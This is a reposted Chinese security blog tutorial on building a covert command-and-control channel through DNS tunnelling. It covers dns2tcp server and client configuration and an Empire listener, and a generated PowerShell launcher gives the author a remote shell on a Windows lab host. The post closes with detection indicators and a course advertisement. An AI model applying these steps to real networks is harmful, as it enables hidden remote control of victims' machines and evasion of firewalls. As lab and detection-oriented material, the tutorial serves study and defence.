利用DNS隧道构建隐蔽CC信道

news2024/11/14 19:18:52

背景介绍

无论是高级持续性威胁(APT)、僵尸网络(Botnet),还是勒索软件、后门等,命令与控制信道(C
&C)都是其重要组成部分,尤其是APT和僵尸网络中的C&C信道决定了其威胁程度。学术界和工业界就C&C方面的研究已逐渐深入,目前网络战格局逐渐形成,公众对网络安全逐渐重视,网络空间中的攻防双方持续较量。

迫于当前形势,攻击者逐渐转向“低调”,近年曝光的多起大型APT攻击事件都倾向于构建隐蔽的的C&C信道。因此,我们必须从攻击者视角思考,哪些技术可以被恶意利用到构建隐蔽的C&C信道,从而在相应应对策略上取得先机。

一、DNS协议

关于DNS协议详细文档可参考标准文档:RFC1034 和 RFC1035

1.1、类比理解DNS

大千世界,如何证明我就是我?我首先想到的就是亮出我的shen份证。shen份证是我们每个人的身份凭证,而且shen份证上记录有我的姓名和shen份证号,同时它也是有权威机构发放,由此在需要验明正身的场合下我的shen份证就可以证明我就是我。

DNS(Domain Name
System,域名系统)也是一种域名(Domain)和网络地址(IP)一一对应的标准协议,实现这种协议提供DNS服务的称为DNS服务器。域名(如example.com)可以类比理解为名字,而网络地址(如10.0.2.10)则可以理解为shen份证号。在显示生活中,我们认识和交朋友更趋向于记住她/他的名字而不是其shen份证号。同样的为了实现用户友好,让用户记住具有特点的域名比看起来就让人头疼的一连串数字组成的IP地址要容易很多。

为了便于管理,“shen份证”管理采用分级管理的策略,如同一个县出生的人在shen份证号中的前面部分相同;类似的,域名系统在因特网中的命名也采用层次结构的命名方法。为了确保shen份证的权威,办zheng单位必须是公安部门;在域名系统中也有权威的根域名服务器、权威域名服务器等。类似的相同点还有很多,但DNS中域名和IP的对应与shen份证号和名字的对应理解中需要注意DNS协议要求域名和IP必须唯一确定,即一个域名唯一对用一个IP(不考虑最近的负载均衡技术),即现实生活中的同名问题在域名系统中是必须解决的,因为域名系统是整个因特网共用的,所以必须保持唯一性。

1.2、DNS的层次结构图解

1563065472_5d2a7c800a897.png!small

注:具体的官方描述和介绍类知识请自行检索(太多了),以上仅为我的个人理解

1.3、DNS域名解析流程——本地DNS缓存+递归查询+迭代查询

【递归查询】

用户本地域名服务器发出一次查询请求,就静待本地服务器反馈最终查询结果。本地服务器首先使用本地DNS缓存尝试应答用户的DNS查询请求,若失败则发起迭代查询。

【迭代查询】

本地域名服务器向根域名服务器查询,根域名服务器告诉它下一步到哪里去查询,然后它在根据结果逐层向下查询,直到得到最终结果。每次它都是以DNS客户机的身份去各个服务器查询,即迭代查询是本地服务器进行的操作。

【具体流程描述】

(1)、用户主机A先向本地域名服务器B递归查询abc.exmaple.com

(2)、B首先尝试使用本地DNS记录查询abc.exmaple.com

若本地不存在abc.example.com的相关记录,则B以DNS客户机的身份发起迭代查询abc.example.com

(3)、B向一个根域名服务器C查询abc.example.com

(4)、根域名服务器C告诉B下一步到.com顶级域名服务器D去查询,并告知D的IP地址1.2.3.4

(5)、B向.com顶级域名服务器D进行查询

(6)、D告诉本地域名服务器B,下一步请到.example.com权限服务器E去查询,并告知E的IP地址2.3.4.5

(7)、B向.example.com权限服务器E进行查询

(8)、E告诉本地域名服务器B所查询域名abc.example.com的主机是否存在,并告知其IP地址3.4.5.6

(9)、本地域名服务器B向用户主机A反馈所查询的域名abc.exmaple.com对用的IP地址为3.4.5.6

1.4、DNS报文格式

1563065529_5d2a7cb9ce3ee.png!small

重要部分说明:

会话标识:DNS报文的ID标识,区分DNS应答报文是哪个请求的响应

查询类型整理:

1563065568_5d2a7ce0e60a1.png!small

生存时间(TTL):资源记录的生命周期,一般以秒为单位。

【说明】

此部分为DNS相关基础知识,我只对相关知识进行搜集,并结合自己的理解整理所得。

协议报文格式和查询类型图表源自明风的博客(CSDN)大神的DNS协议详解及报文格式分析一文。

二、DNS隧道

2.1、DNS隧道原理概述

DNS隧道(DNS
Tunneling)是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成传输数据(通信)的技术。当前网络世界中的DNS是一项必不可少的服务,所以防火墙和入侵检测设备处于可用性和用户友好的考虑将很难做到完全过滤掉DNS流量,因此,攻击者可以利用它实现诸如远程控制,文件传输等操作,众多研究表明DNS
Tunneling在僵尸网络和APT攻击中扮演着至关重要的角色。

DNS隧道依据其实现方式大致可分为直连和中继两类。

直连:用户端直接和指定的目标DNS服务器建立连接,然后将需要传输的数据编码封装在DNS协议中进行通信。这种方式的优点是具有较高速度,但蔽性弱、易被探测追踪的缺点也很明显。另外直连方式的限制比较多,如目前很多的企业网络为了尽可能的降低遭受网络攻击的风险,一般将相关策略配置为仅允许与指定的可信任DNS服务器之间的流量通过。

中继隧道:通过DNS迭代查询而实现的中继DNS隧道,这种方式及其隐秘,且可在绝大部分场景下部署成功。但由于数据包到达目标DNS服务器前需要经过多个节点的跳转,数据传输速度和传输能力较直连会慢很多。

实现DNS隧道的关键要点:

(1)、规避DNS缓存机制

(2)、可利用DNS查询类型及其载荷编码

(3)、如何应道域名系统采用的C/S机制,即Server不可能发起连接——Client会定时向Server发送请求,保证二者之间的通信状态。

2.2、DNS隧道工具

目前,DNS隧道技术已经很成熟,相关工具也很多,而且不同工具也各具特色。目前比较活跃的有iodine,dnscat2,其他的还有DeNise,dns2tcp,Heyoka。相关介绍请参考利用DNS隧道进行隐蔽通信和远程控制。

(1)、dns2tcp:支持直连模式的DNS隧道,只实现了简单的DNS隧道,相关命令和控制服务需要自行搭建,且已在kali系统中直接集成。

(2)、iodine:最活跃、速度最快、支持直连和中继模式,且支持丰富的编码、请求类型选择

(3)、Dnscat2:封装在DNS协议中的加密C&C信道,直接运行工具即可实现数据传输、文件操作等命令和控制功能。

三、利用dns2tcp搭建C&C信道实验复现

3.1、实验环境

本次实验使用两台处于连通状态的主机Ubuntu16 + window7,其中Ubuntu16主机作为服务端,Windows7主机作为受控主机。

【说明】

(1)、真实攻防环境下一般会搭建中继模式的DNS隧道,通过递归查询到达C&C 服务端。由于设备条件有限,以下复现实验以最小化设备环境需求展开。

(2)、公网部署需要注册域名、公网IP及设置对应的DNS解析。本次复现旨在帮助理解其原理和构建过程,只在局域网内搭建,因此不要求注册域名、拥有公网IP及设置DNS解析。

【工具需求】

PowerShell Empire

dns2tcp:最简单的工具,具体的C&C需要自行衔接,有助于理解利用DNS构建隐蔽C&C信道的细节

3.2、原理概述

本次实验拟使用局域网内两台虚拟机模拟搭建DNS隧道,然后基于已建立的DNS隧道构建C&C信道。

复现实验如下图:

1563065690_5d2a7d5acf670.png!small

如图所示,命令与控制通信流量在主机外部(如网络边界)看来全部为DNS查询和响应数据包,即C&C的服务端和受控端实现了“透明传输”,在主机外部利用DNS进行了很好的隐藏以及突破网络限制。整个过程大致如下:

从受控主机端开始,实际的C&C通信数据通过本地端口(如127.0.0.1:5353)输入到隧道工具

由工具按照DNS协议要求进行封装

携带通信数据的DNS查询请求通过DNS协议的53号端口发送到攻击者控制的DNS服务器

攻击者控制的DNS服务器接受到查询请求后,隧道服务端工具首先按照对应规则从请求数据包中提取C&C通信数据,并转发到事先设置好的C&C服务端对应的端口(也可以是另外的主机地址)

C&C服务端接受对应端口的C&C数据并响应,响应数据依然发送给服务端的隧道工具

隧道工具对响应数据同样按照DNS协议封装为对应(请求序列号)的DNS响应数据包,通过DNS隧道发送到受控端

受控端的隧道工具从接收到的DNS响应数据包中提取C&C数据,交付给对应控制程序按照实现设置好的规则解析后执行命令、控制操作

四、复现步骤

本次复现将使用到极其强大的Empire工具,具体使用细节请参考一篇文章精通PowerShell Empire 2.3

本文只列出复现实验所需的关键步骤。

复现实验主要有:工具安装 ==》DNS隧道搭建 ==》C&C信道

4.1、工具安装

【dns2tcp】

dns2tcp工具包含客户端和服务端部分,本次实验部分拟定Ubuntu16为服务端,Window7为客户端。

(1)、Ubuntu主机,以root用户执行命令安装

su - #进入root用户

``

apt-get install update

``

apt-get install dns2tcp #实际上是同时安装了dns2tcp的客户端和服务端

``


``

(2)、Windows7端的exe程序来源可以从github上clone源码后编译客户端程序,也可以使用已编译好的可执行程序,(搬运链接:<https://pan.baidu.com/s/1w-dpn0US9SmfjqdXuHS4aA>提取码:
tkgd),下载dns2tcpc.exe备用就OK了。

【Empire】

(1)、Empire工具只需要安装在服务端`git clonehttps://github.com/EmpireProject/Empire.git`

``

`#进入setup目录进行命令行安装`

``

`cd Empire`

``

`cd setup`

``

`sudo ./install.sh`

``

``

(2)、安装成功后确认Empire目录下包含下图所有文件

1563065759_5d2a7d9fd30e7.png!small

(3)、使用 ./empire即可启动Empire

4.2、DNS隧道搭建之服务端配置

(1)、编辑dns2tcp服务端配置文件 /etc/dns2tcpd.conf ,如下:

1563065799_5d2a7dc7c5d2d.png!small

【参数说明】:

1)、listen为服务端IP,尽量避免127.0.0.1。如果选择云主机搭建环境,请就IP配置为0.0.0.0,因为一般云主机都有两个IP(公网IP+内网IP)。

2)、Port为DNS隧道使用的端口,一般使用默认DNS服务端口53,具有更好的迷惑性。如果修改为其他端口号,则使用的客户端也需要去对应位置修改后重新编译为可执行文件。

3)、domain请修改为你所指定的域名,局域网环境下可以随意指定且无需注册。该域名会在客户端启动时作为参数使用。

【注意】:完整的攻防场景设计(使用注册域名、配置在具有公网IP的云主机)应当时这样配置域名(以example.com为例):

在域名注册商的域名设置里添加一条子域名的NS记录和一条A记录,如:

1563065838_5d2a7dee32893.png!small

其中NS记录的记录值对应的域名必须配置A记录。以上配置的理解是:所有关于dnsc2.example.com及其子域名都由dns.example.com的DNS服务器负责解析,且其对应IP地址为1.2.3.4。检测配置是否成功可以使用任意的主机使用nslookup
dns.example.com查看是否成功得到1.2.3.4的查询结果。

4)、resources官方解释时服务端的对应使用的资源。实质就是通过dns2tcp服务端工具提取的数据将交付的地址(IP+端口)。即如果客户端启动时使用“
-r c2
”,即代表dns2tcp服务端工具提取的数据转发到127.0.0.1的5353端口。对应于本次实验则是后续会让Empire控制监听在服务端的127.0.0.1的5353端口。注意:这里这是简单的数据转发端口配置,并给它取了个别名,对应服务需要自行搭建。

(2)、启动服务端命令:dns2tcpd -f /etc/dns2tcpd.conf -F -d 2

参数解释:

-f:指定配置文件启动

-F:指定dns2tcp工具运行在前台

-d:指定调试日志打印等级

最终成功启动如下图:

1563066023_5d2a7ea794e84.png!small

4.3、DNS隧道搭建之客户端配置

(1)、在编译好(或下载)的EXE可执行程序的目录下打开powershell窗口,并执行如下启动命令./dns2tcpc.exe -r c2 -z dnsc2.test.com 192.168.81.149 -l 5353 -d 2

启动命令中各参数说明:

-r:指定要使用的服务端配置的资源对应的名

-z:配置为建立DNS隧道使用的域名

-l:指定隧道客户端监听的本地端口

-d:作用同服务端,输出2级调试信息

注意:命令中的192.168.81.149表示指定目标DNS服务器(也可以是DNS服务器的域名,但必须在上一级域名的DNS记录中正确配置了NS记录和A记录),若不指定则使用默认DNS进行解析,由于本次复现环境未注册域名并配置公网IP解析,因此将无法寻址(DNS请求无法到达我们隧道的服务端)。

在局域网情况下,必须指定为服务端IP,即直至指定使用DNS隧道服务器解析dnsc2.test.com(并未真正解析,只是为了使所有dnsc2.test.com及其子域名的解析请求都能到达服务端)。

(2)、成功启动DNS客户端后如下图(不要关闭该窗口)

1563066083_5d2a7ee3841dd.png!small

(3)、测试隧道是否建立成功并可以传送数据(非必须)

1)、在服务端搭建一个Openssh-Server,即搭建SSH服务端并配置SSH登录,相关详细操作可参考利用SSH隧道加密、隐蔽C&C通信流量。

2)、更改启动参数中的-r为 -r ssh并启动客户端。

3)、在客户端使用SSH登录工具(如Putty),通过127.0.0.1佳5353端口SSH登录服务端,若成功登录,并能在服务端和客户端的相应窗口内看到数据传输打印的日志则表明隧道建立成功。如下图

1563066146_5d2a7f22d03c5.png!small

日志打印如下图:

1563066176_5d2a7f4057ef3.png!small

4.4、使用Empire基于DNS隧道构建隐蔽的C&C信道

搭建隧道的关键是理解服务端、客户端之间的数据通信关系,大致如下图:

1563066208_5d2a7f60519d3.png!small

(1)、设置监听

进入Empire,设置名为dnsc2的监听,并配置监听的Port和Host为服务端配置文件dns2tcpd.conf文件中指定的用于建立C&C信道的资源对应的地址127.0.0.1:5353。

listeners#进入的界面下可输入list查看以设置的监听

``

uselistener http#输入 info查看必填参数

``

set Name dnsc2

``

set Port 5353

``

set Host 127.0.0.1

``

execute #创建命为dnsc2的监听,监听127.0.0.1:5353上通信数据

``

``

``

配置如下:

1563066239_5d2a7f7fc3cba.png!small

(2)、生成简单的PowerShell利用脚本(针对windows)

launcher powershell dnsc2 # dnsc2 为(1)中设置的监听名字

#可进入stagers生成其他木马、远控程序,本次实验直接生成最简单PowerShell利用脚本

1563066276_5d2a7fa4b873b.png!small

注:生成的Powershell代码直接复制并保存,以备在受控windows主机(win7、win10)执行。

(3)、使用(2)中生成的PowerShell脚本,使受控主机上线

在受控主机windows
7中另外(一定保持运行dns2tcp客户端的窗口一直在)开启一个PowerShell窗口,复制PowerShell脚本直接执行。可以看到受控主机以上线。

1563066314_5d2a7fca0cebe.png!small

(4)、测试C&C信道

进入Empire工具的agents菜单下,使用interact G9E6RCVH进入与受控主机的交互shell,如使用shell
systeminfo命令获取受控主机的系统信息如下:

1563066353_5d2a7ff1d1d0a.png!small

4.5、wireshark抓包情况

在该C&C信道运行并有数据传输时,在客户端进行流量抓包分析,结果如下:

1563066381_5d2a800d26a5a.png!small

1563066412_5d2a802c7bf51.png!small

从抓包情况可以看出,通过该C&C信道的流量外部流量全部通过DNS协议封装后进行传输,恶意利用了DNS协议的TXT、A类型,且将数据编码在请求包中。

五、总结与思考

本文方式实现的利用DNS隧道构建的隐蔽C&C信道较为隐蔽,因为DNS协议是当前网络中重要部分之一。大部分企业网络总会允许内网与指定DNS服务器(受信任)的查询、请求数据流量。

本文实现的C&C信道的异常也很明显,可以用于用于异常检测。主要有:

对同一域名及其子域名的请求频次过于频繁

在大数据量传输时,DNS数据包很大,占用带宽较高

可以截获数据包分析,有明显编码特征,而且时非正常DNS数据包

真实攻防环境下,可以在此基本原理基础上进行改进后部署,如利用的DNS查询类型、编码后传输、限制交互频率等。


最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/855311.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vue3:新特性

一、react和vue的主要区别 &#xff08;1&#xff09;数据更新上&#xff1a; 1、 react 采用 fiber架构 &#xff0c;使用 链表 表示 DOM 结构可以在 diff 时随时中断和继续&#xff0c;利用requestIdleCallback 在空闲时 diff &#xff0c;防止数据量大 diff 时间长导致卡顿…

Python 之禅

Python 社区的理念都包含在 Tim Peters 撰写的 “Python 之禅” 中 在 Windows 平台的 cmd 命令中打开 python&#xff0c;输入 import this&#xff0c;就能看到 Python 之禅: 翻译&#xff1a; Tim Peters 的 python 之禅Beautiful is better than ugly. # 优美胜于丑陋&am…

生成树协议

文章目录 STP冗余交换网络为什么存在广播风暴&#xff1f;广播的危害&#xff1f;交换环路的危害&#xff1f; 工作机制BPDU什么是最好的bpduBPDU触发机制 STP选举步骤配置协议分析字段分析开销模式端口状态 故障类型根桥故障直连故障间接故障 &#xff08;链路中间可能有HUB&a…

vuejs 设计与实现 - 渲染器的设计

渲染器与响应式系统的结合 本节&#xff0c;我们暂时将渲染器限定在 DOM 平台。既然渲染器用来渲染真实 DOM 元素&#xff0c;那么严格来说&#xff0c;下面的函数就是一个合格的渲染器: // 渲染器&#xff1a; function renderer(domString, container) {container.innerHTM…

中级课程-SSRF(CSRF进阶)

文章目录 成因危害挖掘 成因 危害 挖掘

JUC并发编程之线程锁(一)

目录 1.ReentrantLock(互斥锁) 2.ReentRantReaderWriterLock&#xff08;互斥读写锁&#xff09; 3.StampedLock&#xff08;无障碍锁&#xff09; 4.Condition&#xff08;自定义锁&#xff09; 5.LockSupport 问题引出&#xff1a; 由于传统的线程控制需要用到同步机制Sy…

LeetCode--HOT100题(23)

目录 题目描述&#xff1a;206. 反转链表&#xff08;简单&#xff09;题目接口解题思路代码 PS: 题目描述&#xff1a;206. 反转链表&#xff08;简单&#xff09; 给你单链表的头节点 head &#xff0c;请你反转链表&#xff0c;并返回反转后的链表。 LeetCode做题链接&…

剑指offer56-II.数组中数字出现的次数II

第一种方法非常简单&#xff0c;就是用一个HashMap&#xff0c;key是数组中元素的值&#xff0c;value是出现的次数&#xff0c;所以遍历一遍数组&#xff0c;如果map中没有这个元素就把它put进去value设为1&#xff0c;否则value加1&#xff0c;然后遍历一遍map&#xff0c;如…

tensorflow 1.14 的 demo 02 —— tensorboard 远程访问

tensorflow 1.14.0&#xff0c; 提供远程访问 tensorboard 服务的方法 第一步生成 events 文件&#xff1a; 在上一篇demo的基础上加了一句&#xff0c;如下&#xff0c; tf.summary.FileWriter("./tmp/summary", graphsess1.graph) hello_tensorboard_remote.py …

Celery嵌入工程的使用

文章目录 1.config 1.1 通过app.conf进行配置1.2 通过app.conf.update进行配置1.3 通过配置文件进行配置1.4 通过配置类的方式进行配置2.任务相关 2.1 任务基类(base)2.2 任务名称(name)2.3 任务请求(request)2.4 任务重试(retry) 2.4.1 指定最大重试次数2.4.2 设置重试间隔时间…

基础排障实验

排障实验要求&#xff1a; 确保重启后服务能正常访问。确保在客户机上&#xff0c;应用能够使用http://www.jxjz.com:8081访问。确保DNS能够解析邮件服务器mail.jxjz.com。确保DHCP能够保留地址192.168.100.200/24给MAC为ff-0a-ac-44-33-22的主机。确保client客户机能正常的分…

【mars3d - 报错】使用mars3d加载时的一些报错和不生效问题

在使用过程中遇到过很多报错&#xff0c;不管大的还是小的&#xff0c;在这里总结下&#xff0c;应该会持续更新&#xff1b; 1、设置贴地之后报错 可能是因为 arcType&#xff1a;Cesium.arcType.NONE 与 clampToGround&#xff1a;true 是相互冲突的&#xff0c;两个都设置就…

Ubuntu常用压缩指令总结

一、tar tar是Linux系统中最常用的压缩工具之一&#xff0c;它的一个优点是它可以保留文件的权限和所有权信息。tar可以创建.tar文件&#xff08;通常称为"tarball"&#xff09;&#xff0c;或者与gzip或bzip2等工具结合使用来创建.tar.gz或.tar.bz2文件。gzip工具的…

考研算法第40天:众数 【模拟,简单题】

题目 本题收获 又是一道比较简单的模拟题&#xff0c;就不说解题思路了&#xff0c;说一下中间遇到的问题吧&#xff0c;就是说cin输入它是碰到空格就停止输入的&#xff0c;详细的看下面这篇博客对于cin提取输入流遇到空格的问题_while(cin) 空格_就是那个党伟的博客-CSDN博…

【动态规划刷题 6】 删除并获得点数 粉刷房子

740. 删除并获得点数 给你一个整数数组 nums &#xff0c;你可以对它进行一些操作。 每次操作中&#xff0c;选择任意一个 nums[i] &#xff0c;删除它并获得 nums[i] 的点数。之后&#xff0c;你必须删除 所有 等于 nums[i] - 1 和 nums[i] 1 的元素。 开始你拥有 0 个点数。…

JavaScript实践:用Canvas开发一个可配置的大转盘抽奖功能

&#x1f3c6;作者简介&#xff0c;黑夜开发者&#xff0c;全栈领域新星创作者✌&#xff0c;阿里云社区专家博主&#xff0c;2023年6月csdn上海赛道top4。 &#x1f3c6;数年电商行业从业经验&#xff0c;历任核心研发工程师&#xff0c;项目技术负责人。 &#x1f3c6;本文已…

基于Qlearning强化学习的路径规划算法matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 4.1 Q值更新规则 4.2 基于Q-learning的路径规划算法设计 4.3 Q-learning路径规划流程 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版本 MATLAB2022A 3.部分核心程序 ..…

leetcode870. 优势洗牌(java)

优势洗牌 leetcode870. 优势洗牌题目描述双指针 排序代码 滑动窗口 leetcode870. 优势洗牌 难度 - 中等 leetcode870. 优势洗牌 题目描述 给定两个长度相等的数组 nums1 和 nums2&#xff0c;nums1 相对于 nums2 的优势可以用满足 nums1[i] > nums2[i] 的索引 i 的数目来描…

SecOC基础原理详解1

1、SecOC是什么&#xff1f; SecOC官方说法叫安全通讯模块。通俗一点就是发送CAN原始数据的时候进行加密&#xff0c;解析CAN原始数据的时候进行解密。 车上实施SecOC机制数据的ECU&#xff08;ECU是啥&#xff1f;可以百度一下&#xff09;&#xff0c;即使接收到了攻击性的…

如何将NAS空间变为本地磁盘,并拥有与实体硬盘所有常用功能

1.前言 作为一个垃圾佬&#xff0c;用自己的双路E5板子&#xff0c;加持PCIE拆分&#xff0c;4块PM983A齐上阵&#xff0c;气势可嘉。作为一个家庭NAS&#xff0c;如果仅仅用他当作一个普通的存储区存储数据那未免太过于浪费了&#xff1b;另一边&#xff0c;由于工作机硬盘太…